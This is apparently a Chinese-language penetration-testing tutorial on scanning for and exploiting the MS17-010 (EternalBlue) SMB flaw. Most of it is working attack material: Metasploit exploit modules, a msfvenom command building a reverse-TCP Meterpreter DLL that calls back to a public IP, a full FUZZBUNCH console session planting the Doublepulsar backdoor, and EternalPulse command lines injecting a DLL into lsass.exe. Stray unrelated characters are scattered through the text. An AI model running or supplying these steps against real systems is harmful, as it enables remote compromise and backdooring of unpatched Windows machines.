0x01 漏洞檢測
1)msf
msf
里有個模塊 auxiliary/scanner/smb/smb_ms17_010
可以進行 單IP / IP段 的 17010
監(jiān)測
2)工具
有很多監(jiān)測工具,自己挑順手的就行了
sharpSMBScan
公司大佬寫的
C:\Users\root\Desktop\>SharpSMBScan.exe -h
馬賽克君
IP : SharpSMBScan.exe 192.168.1.1
IPS : SharpSMBScan.exe -CIP 192.168.1.1
Ladon
K8gege
寫的內(nèi)網(wǎng)信息搜集工具鳖粟,不只限于 17010
Ladon.exe 192.168.37.1/24 ScanType MS17010
0x02 漏洞利用
1)msf
msf多個模塊可以嘗試利用
exploit/windows/smb/ms17_010_eternalblue
優(yōu)點是不需要匿名管道莺琳,但容易造成藍屏
當前測試版本 windows server 2008 R2 x64
可以本地打到vps上
VPS:
開監(jiān)聽
本地:
將 LHOST
設置我們 vps 的 IP
看到我們 vps 彈回 meterpreter
后就把本地的掐掉钟沛,不然讓他繼續(xù)打可能就打藍屏了
auxiliary/admin/smb/ms17_010_command
執(zhí)行命令的模塊,優(yōu)點是不會藍屏掸哑,但是需要匿名管道( exploit/windows/smb/ms17_010_psexec
同這個模塊拴鸵,都需要匿名管道)
當前測試版本 windows server 2008 R2 x64
2)原生py
方程式工具吩跋,來自 NAS
武器庫,最穩(wěn)定窖认,需要 python 2.6
環(huán)境
當前測試版本 windows 7 sp1 x86
1. 生成后門文件
利用 msfvenom
生成 dll
文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.100.119.27 LPORT=12121 -f dll >17010.dll
2. 打開監(jiān)聽
選擇對應的payload開監(jiān)聽就完事兒了
3. 原生 py 打 17010
啟動原生 py 文件超凳,注意需要 python2.6
的環(huán)境
這里設置 target ip
設置為有漏洞的目標,我新建了一個項目耀态。
[?] Default Target IP Address [] : 192.168.37.5
[?] Default Callback IP Address [] : 192.168.37.4
[?] Use Redirection [yes] : no
[?] Base Log directory [D:\logs] :
[*] Checking D:\logs for projects
[!] Access Denied to 'D:\logs'! Choose a different log directory.
[?] Base Log directory [D:\logs] : C:\Users\root\Desktop\17010\17010\shadowbroker\windows\logs
[*] Checking C:\Users\root\Desktop\17010\17010\shadowbroker\windows\logs for projects
Index Project
----- -------
0 Create a New Project
[?] Project [0] : 0
[?] New Project Name : 17010
[?] Set target log directory to 'C:\Users\root\Desktop\17010\17010\shadowbroker\windows\logs\17010\z192.168.37.5'? [Yes] :
[*] Initializing Global State
[+] Set TargetIp => 192.168.37.5
[+] Set CallbackIp => 192.168.37.4
[!] Redirection OFF
[+] Set LogDir => C:\Users\root\Desktop\17010\17010\shadowbroker\windows\logs\17010\z192.168.37.5
[+] Set Project => 17010
選擇 Eternalblue
模塊植入后門轮傍,一路回車
這里需要選擇對應的操作系統(tǒng),模式選擇 FB
[*] Target :: Operating System, Service Pack, and Architecture of target OS
0) XP Windows XP 32-Bit All Service Packs
*1) WIN72K8R2 Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs
[?] Target [1] :
[!] Preparing to Execute Eternalblue
[*] Mode :: Delivery mechanism
*0) DANE Forward deployment via DARINGNEOPHYTE
1) FB Traditional deployment from within FUZZBUNCH
[?] Mode [0] : 1
[+] Run Mode: FB
又是一路的回車
利用 Doublepulsar
插件首装,進行 DLL
注入
也是一路回車创夜,幾個地方需要注意,選擇對應的就行了
RunDLL
設置我們用 msfvenom
生成的 DLL
文件仙逻,進行注入
[*] Protocol :: Protocol for the backdoor to speak
*0) SMB Ring 0 SMB (TCP 445) backdoor
1) RDP Ring 0 RDP (TCP 3389) backdoor
[?] Protocol [0] :
[*] Architecture :: Architecture of the target OS
*0) x86 x86 32-bits
1) x64 x64 64-bits
[?] Architecture [0] :
[*] Function :: Operation for backdoor to perform
*0) OutputInstall Only output the install shellcode to a binary file on disk.
1) Ping Test for presence of backdoor
2) RunDLL Use an APC to inject a DLL into a user mode process.
3) RunShellcode Run raw shellcode
4) Uninstall Remove's backdoor from system
[?] Function [0] : 2
[+] Set Function => RunDLL
[*] DllPayload :: DLL to inject into user mode
[?] DllPayload [] : C:\Users\root\Desktop\17010.dll
[+] Set DllPayload => C:\Users\root\Desktop\17010.dll
一路回車以后驰吓,成功打回來
3)其他工具
EternalPulse
提取的原版py涧尿,項目地址:https://github.com/TolgaSEZER/EternalPulse
可打包傳到shell上執(zhí)行,然后利用跳板機自帶的解壓縮軟件解壓
"C:\Program Files\WinRAR\rar.exe" x c:\test\EternalPulse.rar c:\test
使用方法和原生py一樣
Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 存在17010漏洞的IP --TargetPort 445 --Target WIN72K8R2
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 存在17010漏洞的IP --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload x64.dll --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60
我這里利用的一個正向的dll檬贰,開啟目標的6373端口
然后正向連接就行了
界面化工具
還有一些界面化的方程式工具姑廉,都是大同小異,利用 DLL
注入